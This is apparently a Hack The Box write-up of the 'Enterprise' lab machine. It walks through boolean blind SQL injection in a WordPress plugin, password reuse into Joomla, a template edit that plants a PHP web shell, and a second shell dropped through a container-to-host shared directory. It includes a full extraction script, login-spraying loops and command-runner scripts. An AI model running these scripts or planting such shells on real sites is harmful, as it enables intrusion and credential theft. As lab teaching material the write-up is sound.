Skip to content
All writeups

HTB: Enterprise

A half-written WordPress plugin with an unquoted SQL parameter gives up a draft post full of passwords, one of them opens the Joomla administrator in a second container, a directory shared between that container and the host turns container code execution into host code execution, and a setuid menu program with an unbounded scanf returns into libc as root.

Published
Reading time
23 min
Difficulty
medium
Target
Linux (Enterprise)

htblinuxwordpresssql-injectionjoomladockerbuffer-overflowret2libc

Overview

Enterprise is three Docker containers and a host that trusts one of them too much. A plugin source archive on the host’s HTTPS site shows an SQL injection in WordPress. The injection reads an unpublished post holding four passwords. One opens the Joomla administrator, whose template editor runs PHP inside the Joomla container. That container mounts a world-writable directory from the host’s web root, and the host’s Apache runs PHP too, so a file written from the container executes on the host. There, the program behind port 32812 is a setuid root binary with a stack overflow, on a machine with address randomisation switched off.

Spawn to root took 26 minutes with no hints. That figure flatters the session: I have read write-ups of this machine in the past, and three decisions came from memory, not from evidence. Each is marked where it happens.

The four passwords, and the MySQL root password seen later, are written <masked>. The bridge access code of the menu program is shown, because it is a constant in the binary. Every saved output ends with an [lr exit N] line added by my logger, and [...] marks each cut.

Reconnaissance

cd ../..; bin/kali enterprise "nmap -Pn -p- --min-rate 2000 -oN /work/scans/01-full.nmap 10.129.101.121" | grep -E "open|done"

The two scan blocks are the files nmap wrote with -oN, not the filtered screen output.

[...]
Nmap scan report for 10.129.101.121
Host is up (0.26s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
443/tcp   open     https
5355/tcp  filtered llmnr
8080/tcp  open     http-proxy
32812/tcp open     unknown

[...]
cd ../..; bin/kali enterprise "nmap -Pn -sC -sV -p 22,80,443,8080,32812 -oN /work/scans/02-svc.nmap 10.129.101.121" | grep -vE '^$|Starting|Service detection'
[...]
Nmap scan report for 10.129.101.121
Host is up (0.25s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
[...]
80/tcp    open  http     Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: USS Enterprise &#8211; Ships Log
|_http-generator: WordPress 4.8.1
443/tcp   open  ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.25 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after:  2017-09-24T10:35:14
8080/tcp  open  http     Apache httpd 2.4.10 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
32812/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|     Enter Bridge Access Code: 
|     Invalid Code
|     Terminating Console
|   NULL: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|_    Enter Bridge Access Code:
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

[...]

Ports 80 and 8080 answer as Apache 2.4.10 on Debian; 443 answers as 2.4.25 on Ubuntu, and SSH is Ubuntu as well. Two Debian web servers on an Ubuntu host read as containers with published ports, and 443 as the host.

curl -s -m 20 http://10.129.101.121/ | grep -oE "(href|src)=\"[^\"]+\"" | sort -u | head -40; echo "### users"; curl -s -m 20 -H "Host: enterprise.htb" "http://10.129.101.121/?rest_route=/wp/v2/users" | head -c 600; echo; for i in 1 2 3; do curl -s -m 20 -o /dev/null -w "author=$i -> %{http_code} %{redirect_url}\n" "http://10.129.101.121/?author=$i"; done
[...]
href="http://enterprise.htb/?p=51"
href="http://enterprise.htb/?p=53"
href="http://enterprise.htb/?p=55"
href="http://enterprise.htb/?p=57"
href="http://enterprise.htb/?p=69"
[...]
### users
[{"id":1,"name":"william.riker","url":"","description":"","link":"http:\/\/enterprise.htb\/?author=1","slug":"william-riker", [...]
author=1 -> 200 
author=2 -> 404 
author=3 -> 404 
[lr exit 0]

The site links to itself as enterprise.htb, and the REST API names one author, william.riker. Content discovery on the HTTPS site was the slowest command of the session.

cd ../..; bin/kali enterprise "gobuster dir -k -q -t 30 -u https://10.129.101.121/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,txt,zip -o /work/scans/04-dir443.txt 2>&1 | grep -v \"Status: 403\" | tail -25"

The call ran past the time limit of a foreground command and was moved to the background, where it was still running when the machine was stopped; I ended it by hand. Its hits were read from the file it writes as it goes, with a command typed outside the logger and added to the log afterwards from the session transcript:

grep -v "Status: 403" machines/enterprise/scans/04-dir443.txt | head; wc -l < machines/enterprise/scans/04-dir443.txt

The block is that filter applied to the file as it stands now.

[...]
files                (Status: 301) [Size: 318] [--> https://10.129.101.121/files/]
.                    (Status: 200) [Size: 10918]
[...]

The wait cost eight minutes for one hit.

curl -s -m 20 "http://10.129.101.121/?rest_route=/wp/v2/posts&per_page=20" | jq -r ".[]|[.id,.status,.date,.title.rendered,(.content.rendered|gsub(\"<[^>]+>\";\"\")|.[0:160])]|@tsv"; echo "### plugins named in the page"; curl -s -m 20 http://10.129.101.121/ | grep -oE "wp-content/(plugins|themes)/[^/\"]+" | sort -u
[...]
57	publish	2017-09-06T09:39:50	Stardate 55132.2	The Enterprise is en route to Earth we detected unusual positronic sig [...]
55	publish	2017-09-06T09:39:26	Stardate 52179.4	The Federation Diplomatic Corps are busy trying to bring an end to the [...]
53	publish	2017-09-06T09:39:08	Stardate 50893.5	The moment I have dreaded for nearly six years has finally arrived. Th [...]
51	publish	2017-09-06T09:38:44	Stardate 49827.5	Its been a long time coming but finally the Enterprise is departing th [...]
### plugins named in the page
wp-content/themes/twentyseventeen
[lr exit 0]
curl -sk -m 20 https://10.129.101.121/files/ | sed "s/<[^>]*>/ /g" | grep -v "^ *$" | head -20; for f in $(curl -sk -m 20 https://10.129.101.121/files/ | grep -oE "href=\"[^\"?/][^\"]*\"" | cut -d\" -f2); do curl -sk -m 60 -o loot/$f -w "$f %{http_code} %{size_download}\n" https://10.129.101.121/files/$f; file loot/$f; done; for z in loot/*.zip; do unzip -l $z; done
   Index of /files 
 Index of /files 
         Name    Last modified    Size    Description   
      Parent Directory   &nbsp;    -   &nbsp;  
      lcars.zip   2017-10-17 21:46    1.4K  &nbsp;  
 Apache/2.4.25 (Ubuntu) Server at 10.129.101.121 Port 443 
lcars.zip 200 1406
loot/lcars.zip: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified Oct 17 2017 02:25:28, uncompressed size 501, method=deflate
Archive:  loot/lcars.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      501  2017-10-17 05:25   lcars/lcars_db.php
      624  2017-10-17 05:32   lcars/lcars_dbpost.php
      377  2017-10-17 08:53   lcars/lcars.php
---------                     -------
     1502                     3 files
[lr exit 0]
for f in lcars/lcars.php lcars/lcars_db.php lcars/lcars_dbpost.php; do echo "### $f"; unzip -p loot/lcars.zip $f; echo; done; echo "### is it installed on the WordPress site?"; for f in lcars.php lcars_db.php lcars_dbpost.php nothere.php; do curl -s -m 20 -o /dev/null -w "$f %{http_code} %{size_download}\n" http://10.129.101.121/wp-content/plugins/lcars/$f; done
### lcars/lcars.php
<?php
/*
*     Plugin Name: lcars
*     Plugin URI: enterprise.htb
*     Description: Library Computer Access And Retrieval System
*     Author: Geordi La Forge
*     Version: 0.2
*     Author URI: enterprise.htb
*                             */

// Need to create the user interface. 

// need to finsih the db interface

// need to make it secure

?> 




### lcars/lcars_db.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}


// test to retireve an ID
if (isset($_GET['query'])){
    $query = $_GET['query'];
    $sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
    $result = $db->query($sql);
    echo $result;
} else {
    echo "Failed to read query";
}


?> 

### lcars/lcars_dbpost.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}


// test to retireve a post name
if (isset($_GET['query'])){
    $query = (int)$_GET['query'];
    $sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
    $result = $db->query($sql);
    if ($result){
        $row = $result->fetch_row();
        if (isset($row[0])){
            echo $row[0];
        }
    }
} else {
    echo "Failed to read query";
}


?> 




### is it installed on the WordPress site?
lcars.php 200 9
lcars_db.php 200 22
lcars_dbpost.php 200 25
nothere.php 404 314
[lr exit 0]

The archive is the source of a WordPress plugin, and its three files answer on the WordPress site while a control name returns 404. lcars_dbpost.php prints the title of any post by numeric ID, whatever its status.

for i in $(seq 1 100); do t=$(curl -s -m 15 "http://10.129.101.121/wp-content/plugins/lcars/lcars_dbpost.php?query=$i"); [ -n "$t" ] && echo "$i $t"; done
[...]
64  
65  
66 Passwords 
67 Passwords 
68 Passwords 
69 YAYAYAYAY. 
70 YAYAYAYAY. 
71 test 
72  
[...]

IDs 66 to 68 are titled “Passwords” and were absent from the REST listing, which returns published posts only.

Attack Surface Analysis

Surface Weakness CWE
lcars_db.php on port 80 request parameter concatenated into SQL, unquoted CWE-89
WordPress draft 66 four passwords in clear text in a post body CWE-312
Plugin database account connects as MySQL root, reads every schema CWE-250
Joomla and WordPress logins a password from the same note works on each CWE-522
/var/www/html/files host directory, mode 777, mounted read-write into a container and served by the host with PHP on CWE-732
/bin/lcars scanf("%s") into a 208-byte stack buffer, setuid root, no canary CWE-121

Vulnerability Analysis

The plugin. lcars_db.php builds SELECT ID FROM wp_posts WHERE post_name = $query from the request with no quotes and no cast, so a payload needs no quote character. The next line echoes the result object, which PHP cannot convert to a string: a query that succeeds produces a fatal error and a query that fails produces an empty body. The page never shows data, but it shows whether the statement ran, and that is one bit per request.

The account behind it. The plugin connects with WordPress’s own database account. Here that account is MySQL root and the server holds the Joomla schemas too, so an injection in one application reads the other’s user table. A draft is hidden by WordPress, not by the database.

The shared directory. The Joomla container mounts the host’s /var/www/html/files read-write. The directory is mode 777, and the host’s HTTPS site has /var/www/html as its document root with PHP enabled.

The menu program. /bin/lcars is started by xinetd as root and is also setuid root on disk. Menu option 4 reads with scanf("%s") into a 208-byte stack buffer, with no canary and with randomisation off.

Exploitation

Phase 1: SQL injection to the draft passwords

U="http://10.129.101.121/wp-content/plugins/lcars/lcars_db.php"; for q in "1" "1 AND 1=1" "1 AND 1=2" "1 AND SLEEP(3)" "1 AND (SELECT 1 FROM (SELECT SLEEP(3))x)" "x y z"; do curl -s -m 20 -G --data-urlencode "query=$q" -o /tmp/claude-1000/ent.body -w "[$q] status %{http_code} bytes %{size_download} time %{time_total}\n" "$U"; head -c 200 /tmp/claude-1000/ent.body | tr "\n" " "; echo; done
[1] status 200 bytes 187 time 0.573179
<br /> <b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br /> 
[1 AND 1=1] status 200 bytes 187 time 0.565361
<br /> <b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br /> 
[1 AND 1=2] status 200 bytes 187 time 0.615880
<br /> <b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br /> 
[1 AND SLEEP(3)] status 200 bytes 187 time 3.554018
<br /> <b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br /> 
[1 AND (SELECT 1 FROM (SELECT SLEEP(3))x)] status 200 bytes 187 time 3.512742
<br /> <b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br /> 
[x y z] status 200 bytes 2 time 0.590254
  
[lr exit 0]

SLEEP(3) adds three seconds, so the parameter reaches the database. 1 AND 1=2 returns the same 187 bytes as 1 AND 1=1, because a query that matches no rows still succeeds; only the syntax error returns 2 bytes. A boolean test therefore has to make the statement fail, not return nothing. IF(cond,1,(SELECT 1 UNION SELECT 2)) does that: when the condition is false MySQL evaluates the subquery, finds two rows where one value is allowed, and raises an error. The extractor binary-searches each character with that test and asserts both controls before it reads anything.

#!/usr/bin/env python3
# boolean extraction through lcars_db.php: a true condition gives the 187-byte PHP error, a false one makes the query fail (2 bytes)
import sys, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor
U = 'http://10.129.101.121/wp-content/plugins/lcars/lcars_db.php?query='
def ask(cond):
    q = '1 AND IF((%s),1,(SELECT 1 UNION SELECT 2))' % cond
    for _ in range(3):
        try:
            return len(urllib.request.urlopen(U + urllib.parse.quote(q), timeout=20).read()) > 50
        except Exception:
            pass
    raise SystemExit('request failed')
def num(expr, hi=65536):
    lo = 0
    while lo < hi:
        mid = (lo + hi) // 2
        if ask('(%s)>%d' % (expr, mid)): lo = mid + 1
        else: hi = mid
    return lo
def text(expr):
    n = num('SELECT LENGTH((%s))' % expr)
    with ThreadPoolExecutor(6) as ex:
        return ''.join(chr(c) for c in ex.map(lambda i: num('SELECT ORD(MID((%s),%d,1))' % (expr, i), 255), range(1, n + 1)))
assert ask('1=1') and not ask('1=2'), 'oracle control failed'
for e in sys.argv[1:]:
    print('### ' + e); print(text(e))
python3 -I artifacts/11-blind.py "SELECT CONCAT(USER(),0x20,VERSION(),0x20,DATABASE())" "SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata" "SELECT GROUP_CONCAT(ID,0x3a,post_status,0x3a,post_type,0x3a,LENGTH(post_content)) FROM wp_posts WHERE ID IN (66,67,68,71)" > loot/11-blind.txt; cut -c1-300 loot/11-blind.txt
### SELECT CONCAT(USER(),0x20,VERSION(),0x20,DATABASE())
root@172.17.0.4 5.7.19 wordpress
### SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
information_schema,joomla,joomladb,mysql,performance_schema,sys,wordpress,wordpressdb
### SELECT GROUP_CONCAT(ID,0x3a,post_status,0x3a,post_type,0x3a,LENGTH(post_content)) FROM wp_posts WHERE ID IN (66,67,68,71)
66:draft:post:148,67:inherit:revision:128,68:inherit:revision:148,71:draft:page:29
[lr exit 0]
python3 -I artifacts/11-blind.py "SELECT post_content FROM wp_posts WHERE ID=66" "SELECT post_content FROM wp_posts WHERE ID=71" "SELECT GROUP_CONCAT(user_login,0x3a,user_email) FROM wp_users" "SELECT GROUP_CONCAT(table_schema,0x2e,table_name) FROM information_schema.tables WHERE table_name LIKE 0x25757365727325 AND table_schema IN (0x6a6f6f6d6c61,0x6a6f6f6d6c616462)" > loot/12-blind.txt; chmod 600 loot/12-blind.txt; sed -E "s/^([A-Za-z0-9*#]{3})[^ ]{8,}$/\1<masked, &>/; s/<masked, (.*)>/<masked>/" loot/12-blind.txt | cut -c1-240; echo "lines $(wc -l < loot/12-blind.txt)"
### SELECT post_content FROM wp_posts WHERE ID=66
Needed somewhere to put some passwords quickly

<masked>

<masked>

<masked>

<masked>

&nbsp;

&nbsp;
### SELECT post_content FROM wp_posts WHERE ID=71
&lt;?php echo phpinfo();?&gt;
### SELECT GROUP_CONCAT(user_login,0x3a,user_email) FROM wp_users
<masked>
### SELECT GROUP_CONCAT(table_schema,0x2e,table_name) FROM information_schema.tables WHERE table_name LIKE 0x25757365727325 AND table_schema IN (0x6a6f6f6d6c61,0x6a6f6f6d6c616462)
<masked>
lines 20
[lr exit 0]

The saved file holds the values. The screen filter kept three leading characters of any long single token, and those are cut here as well; it also hid the WordPress user line and the Joomla table name, which a later command prints.

Cutting the four passwords out of the file took three attempts.

grep -A12 "ID=66" loot/12-blind.txt | grep -E "^[^ #&]{11,}$" > loot/pw.txt; chmod 600 loot/pw.txt; echo "passwords $(wc -l < loot/pw.txt)"; (echo wrongpass1; cat loot/pw.txt) > /tmp/claude-1000/ent.try; n=0; while IFS= read -r p; do r=$(curl -s -m 20 -o /dev/null -H "Host: enterprise.htb" -c artifacts/wp.cj.$n --data-urlencode "log=william.riker" --data-urlencode "pwd=$p" --data "wp-submit=Log+In&testcookie=1" -b "wordpress_test_cookie=WP+Cookie+check" -w "%{http_code} %{redirect_url}" http://10.129.101.121/wp-login.php); echo "try $n (0 is the wrong-password control): $r"; n=$((n+1)); done < /tmp/claude-1000/ent.try; rm /tmp/claude-1000/ent.try
passwords 3
try 0 (0 is the wrong-password control): 200 
try 1 (0 is the wrong-password control): 200 
try 2 (0 is the wrong-password control): 200 
try 3 (0 is the wrong-password control): 200 
[lr exit 0]

Three passwords, not four: my filter excluded #, and one password contains it.

sed -n "/ID=66/,/ID=71/p" loot/12-blind.txt | grep -vE " |nbsp|^###|^$" > loot/pw.txt; echo "passwords $(wc -l < loot/pw.txt)"; n=1; while IFS= read -r p; do r=$(curl -s -m 20 -o /dev/null -H "Host: enterprise.htb" -c artifacts/wp.cj.$n --data-urlencode "log=william.riker" --data-urlencode "pwd=$p" --data "wp-submit=Log+In&testcookie=1" -b "wordpress_test_cookie=WP+Cookie+check" -w "%{http_code} %{redirect_url}" http://10.129.101.121/wp-login.php); echo "password $n: $r"; n=$((n+1)); done < loot/pw.txt
passwords 10
password 1: 200 
password 2: 200 
password 3: 200 
password 4: 200 
password 5: 200 
password 6: 200 
password 7: 200 
password 8: 302 http://enterprise.htb/wp-admin/
password 9: 200 
password 10: 200 
[lr exit 0]

Ten lines, because the second cut kept blank lines, and every line ended in a carriage return. Entry 8, the fourth password, logs in as william.riker even so. The detour cost under a minute by the file times, and the next command cleans the list.

tr -d "\r" < loot/pw.txt | grep -v "^$" > loot/pw4.txt; chmod 600 loot/pw4.txt; mv loot/pw4.txt loot/pw.txt; awk "{print NR\": len \"length(\$0)}" loot/pw.txt; T=$(sed -n "20p" loot/12-blind.txt | tr -d "\r"); echo "user tables: $T"; python3 -I artifacts/11-blind.py "SELECT GROUP_CONCAT(username,0x3a,email,0x3a,block) FROM joomladb.edz2g_users" | tee loot/15-joomlausers.txt
1: len 16
2: len 16
3: len 16
4: len 18
user tables: joomladb.edz2g_users
### SELECT GROUP_CONCAT(username,0x3a,email,0x3a,block) FROM joomladb.edz2g_users
geordi.la.forge:geordi.la.forge@enterprise.htb:0,Guinan:guinan@enterprise.htb:0
[lr exit 0]

This is the first step from memory. The table name edz2g_users was typed into the extractor argument in the same command that printed it from the earlier run. The printed value agrees, but an unseen run would have needed one more command to read it first.

Phase 2: Joomla administrator to code execution in a container

The same four passwords were tried against both Joomla accounts, with a wrong password first.

#!/bin/bash
# try each password in loot/pw.txt (and a wrong one first) for each Joomla user on the administrator login
B=http://10.129.101.121:8080/administrator/index.php
for u in geordi.la.forge Guinan; do
  n=0
  (echo wrongpass1; cat loot/pw.txt) | while IFS= read -r p; do
    cj=artifacts/joomla.cj.$u.$n
    tok=$(curl -s -m 20 -c $cj $B | grep -oE 'name="[0-9a-f]{32}" value="1"' | cut -d'"' -f2)
    curl -s -m 20 -b $cj -c $cj -o /dev/null --data-urlencode "username=$u" --data-urlencode "passwd=$p" --data "option=com_login&task=login&return=aW5kZXgucGhw&$tok=1" $B
    t=$(curl -s -m 20 -b $cj $B | grep -oE '<title>[^<]*</title>')
    echo "$u try $n (0 is the control): $t"
    n=$((n+1))
  done
done
bash artifacts/16-joomla-login.sh
geordi.la.forge try 0 (0 is the control): <title>Ten Forward - Administration</title>
geordi.la.forge try 1 (0 is the control): <title>Ten Forward - Administration</title>
geordi.la.forge try 2 (0 is the control): <title>Ten Forward - Administration</title>
geordi.la.forge try 3 (0 is the control): <title>Error: 0 Call to a member function format() on null</title>
geordi.la.forge try 4 (0 is the control): <title>Ten Forward - Administration</title>
Guinan try 0 (0 is the control): <title>Ten Forward - Administration</title>
Guinan try 1 (0 is the control): <title>Ten Forward - Administration</title>
Guinan try 2 (0 is the control): <title>Ten Forward - Administration</title>
Guinan try 3 (0 is the control): <title>Ten Forward - Administration</title>
Guinan try 4 (0 is the control): <title>Ten Forward - Administration</title>
[lr exit 0]

geordi.la.forge with the third password gets a different page: an administration page that fails with a PHP error. That is a session, on a dashboard that is broken on this instance.

Choosing Joomla over the WordPress administrator, which was also open, is the second step from memory: I recalled that the Joomla container holds the directory shared with the host. The evidence for it comes after the choice, in the mount list below. I never entered the WordPress container. An unseen run would have had to enumerate both.

A Joomla super user can edit template files, and template files are PHP. The script logs in, lists the templates, saves the original error.php of the Protostar template to my machine, and prepends one line that runs a base64-encoded command when a POST parameter is present.

#!/usr/bin/env python3
# log in to the Joomla administrator as geordi.la.forge (password: line 3 of loot/pw.txt), save templates/protostar/error.php,
# then prepend a POST-only command runner to it. Usage: 17-joomla-tpl.py list | edit <template id>
import sys, re, html, base64, urllib.request, urllib.parse, urllib.error, http.cookiejar
B = 'http://10.129.101.121:8080/administrator/index.php'
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))
def req(u, data=None):
    try: return op.open(u, data, timeout=30).read().decode('utf-8', 'replace')
    except urllib.error.HTTPError as e: return e.read().decode('utf-8', 'replace')  # the dashboard answers 500 after a good login
def get(q=''): return req(B + q)
def post(q, d): return req(B + q, urllib.parse.urlencode(d).encode())
tok = lambda page: re.search(r'name="([0-9a-f]{32})" value="1"', page).group(1)
pw = open('loot/pw.txt').read().split('\n')[2]
post('', {'username': 'geordi.la.forge', 'passwd': pw, 'option': 'com_login', 'task': 'login', 'return': 'aW5kZXgucGhw', tok(get()): '1'})
page = get('?option=com_templates&view=templates')
tpls = sorted(set(re.findall(r'view=template&amp;id=(\d+)[^>]*>\s*([^<]+?)\s*<', page)))
print('templates:', tpls)
if sys.argv[1] == 'edit':
    q = '?option=com_templates&view=template&id=%s&file=%s' % (sys.argv[2], base64.b64encode(b'/error.php').decode())
    page = get(q)
    src = html.unescape(re.search(r'<textarea[^>]*name="jform\[source\]"[^>]*>(.*?)</textarea>', page, re.S).group(1))
    open('loot/error.php.orig', 'w').write(src)
    print('original error.php saved, bytes', len(src), 'first line:', src.split('\n')[0][:60])
    hid = dict(re.findall(r'<input type="hidden" name="(jform\[[a-z_]+\])"[^>]*value="([^"]*)"', page))
    run = '<?php if(isset($_POST["c"])){system(base64_decode($_POST["c"])." 2>&1");die();} ?>\n'
    d = {'jform[source]': run + src, 'task': 'template.apply', tok(page): '1'}; d.update(hid)
    out = post(q, d)
    print('hidden fields:', sorted(hid), '| saved message:', re.findall(r'alert-message">\s*([^<]+)', out)[:2])

The first run failed:

python3 -I artifacts/17-joomla-tpl.py list
[...]
    raise HTTPError(req.full_url, code, msg, hdrs, fp)
urllib.error.HTTPError: HTTP Error 500: Internal Server Error
[lr exit 1]

The login had worked, and the redirect landed on the dashboard that answers HTTP 500; the urllib opener raised on it. The script above is the corrected one, which reads the body of an error response. The same command was rerun under a new name.

python3 -I artifacts/17-joomla-tpl.py list
templates: [('503', 'Beez3 Details and Files'), ('506', 'Protostar Details and Files')]
[lr exit 0]
python3 -I artifacts/17-joomla-tpl.py edit 506
templates: [('503', 'Beez3 Details and Files'), ('506', 'Protostar Details and Files')]
original error.php saved, bytes 8503 first line: <?php
hidden fields: ['jform[extension_id]', 'jform[filename]'] | saved message: ['File saved.']
[lr exit 0]

Commands go through a driver:

#!/bin/bash
# run a saved script (path relative to machines/enterprise) through the command runner in the Joomla template
cd "$(dirname "$0")/.." && curl -s -m 90 --data-urlencode "c=$(base64 -w0 < "$1")" http://10.129.101.121:8080/templates/protostar/error.php
id; hostname; cat /etc/issue | head -1; ip -4 addr 2>/dev/null | grep inet || cat /proc/net/fib_trie | grep -B1 "host LOCAL" | grep "|--" | sort -u
echo "### container markers"; ls -la /.dockerenv; head -3 /proc/1/cgroup
echo "### mounts that are not kernel filesystems"; grep -vE "^(proc|sysfs|tmpfs|devpts|cgroup|mqueue|shm|devtmpfs)" /proc/mounts
echo "### web root"; ls -la /var/www/html | head -40
echo "### files dir"; ls -la /var/www/html/files 2>&1; touch /var/www/html/files/.wtest 2>&1 && echo "writable" && rm /var/www/html/files/.wtest
echo "### home, sudo, env"; ls -la /home /root 2>&1 | head; env | grep -iE "pass|mysql|joomla" | sed -E "s/(PASSWORD=).*/\1<masked>/"
echo "### control: GET without the parameter"; curl -s -m 20 -o /dev/null -w "%{http_code} %{size_download}\n" http://10.129.101.121:8080/templates/protostar/error.php; artifacts/jx.sh artifacts/20-enum.sh
### control: GET without the parameter
200 0
uid=33(www-data) gid=33(www-data) groups=33(www-data)
a7018bfdc454
Debian GNU/Linux 8 \n \l
    inet 127.0.0.1/8 scope host lo
    inet 172.17.0.3/16 scope global eth0
### container markers
-rwxr-xr-x 1 root root 0 Sep  3  2017 /.dockerenv
[...]
### mounts that are not kernel filesystems
none / aufs rw,relatime,si=d0c9ddd640f86537,dio,dirperm1 0 0
/dev/mapper/enterprise--vg-root /etc/resolv.conf ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/mapper/enterprise--vg-root /etc/hostname ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/mapper/enterprise--vg-root /etc/hosts ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/mapper/enterprise--vg-root /var/www/html ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/mapper/enterprise--vg-root /var/www/html/files ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
### web root
[...]
drwxr-xr-x 18 www-data www-data    4096 May 30  2022 .
[...]
-r--r--r--  1 www-data www-data    3053 Sep  6  2017 configuration.php
[...]
drwxrwxrwx  2 root     root        4096 Oct 17  2017 files
[...]
-rw-r--r--  1 www-data www-data    3736 Sep  6  2017 wordpress-shell.php
### files dir
total 12
drwxrwxrwx  2 root     root     4096 Oct 17  2017 .
drwxr-xr-x 18 www-data www-data 4096 May 30  2022 ..
-rw-r--r--  1 root     root     1406 Oct 17  2017 lcars.zip
writable
### home, sudo, env
/home:
total 12
drwxr-xr-x  2 root root 4096 May 30  2022 .
drwxr-xr-x 77 root root 4096 May 30  2022 ..
-rw-r--r--  1 root root  190 Sep  6  2017 user.txt
ls: cannot open directory /root: Permission denied
[...]
JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
MYSQL_ENV_MYSQL_MAJOR=5.7
JOOMLA_VERSION=3.7.5
MYSQL_PORT_3306_TCP_ADDR=172.17.0.2
MYSQL_ENV_MYSQL_ROOT_PASSWORD=<masked>
MYSQL_ENV_GOSU_VERSION=1.7
MYSQL_PORT_3306_TCP_PORT=3306
MYSQL_PORT_3306_TCP_PROTO=tcp
MYSQL_PORT=tcp://172.17.0.2:3306
MYSQL_PORT_3306_TCP=tcp://172.17.0.2:3306
MYSQL_ENV_MYSQL_VERSION=5.7.19-1debian8
MYSQL_NAME=/joomla/mysql
[lr exit 0]

This is www-data in a Docker container, not on the host. /home/user.txt is 190 bytes; a flag is 33. Among the mounts, /var/www/html/files is a separate mount from the host’s disk, world-writable, and it holds the same lcars.zip that the host’s HTTPS site lists. The web root also holds a wordpress-shell.php, which I did not request.

Phase 3: the shared directory, container to host

If the host serves that directory and runs PHP, a file written here executes there. The status of the path is taken before and after the write.

cat /home/user.txt | head -5
printf '%s\n' '<?php if(isset($_POST["c"])){system(base64_decode($_POST["c"])." 2>&1");} ?>' > /var/www/html/files/hx.php
ls -la /var/www/html/files
echo "### control before: $(curl -sk -m 20 -o /dev/null -w "%{http_code}" https://10.129.101.121/files/hx.php)"; artifacts/jx.sh artifacts/21-drop.sh; echo "### after: $(curl -sk -m 20 -o /dev/null -w "%{http_code} %{size_download}" https://10.129.101.121/files/hx.php)"
### control before: 404
As you take a look around at your surroundings you realise there is something wrong.
This is not the Enterprise!
As you try to interact with a console it dawns on you.
Your in the Holodeck!
total 16
drwxrwxrwx  2 root     root     4096 Nov 24 07:41 .
drwxr-xr-x 18 www-data www-data 4096 May 30  2022 ..
-rw-r--r--  1 www-data www-data   77 Nov 24 07:41 hx.php
-rw-r--r--  1 root     root     1406 Oct 17  2017 lcars.zip
### after: 200 0
[lr exit 0]

The first lines are the container’s user.txt, a decoy. The path went from 404 to 200 with an empty body, which is what a PHP file that executed and printed nothing looks like; source served as text would have had 77 bytes.

#!/bin/bash
# run a saved script (path relative to machines/enterprise) through files/hx.php on the host's HTTPS site
cd "$(dirname "$0")/.." && curl -sk -m 90 --data-urlencode "c=$(base64 -w0 < "$1")" https://10.129.101.121/files/hx.php
id; hostname; head -1 /etc/issue; uname -a; ip -4 addr | grep inet
echo "### users"; grep -vE "nologin|false|sync" /etc/passwd; ls -la /home /home/* 2>&1 | head -30
echo "### sudo"; sudo -n -l 2>&1 | head -3
echo "### setuid"; find / -xdev -perm -4000 -type f 2>/dev/null | xargs ls -la
echo "### not owned by a package"; for f in $(find / -xdev -perm -4000 -type f 2>/dev/null); do dpkg -S $f >/dev/null 2>&1 || echo "no package: $f"; done
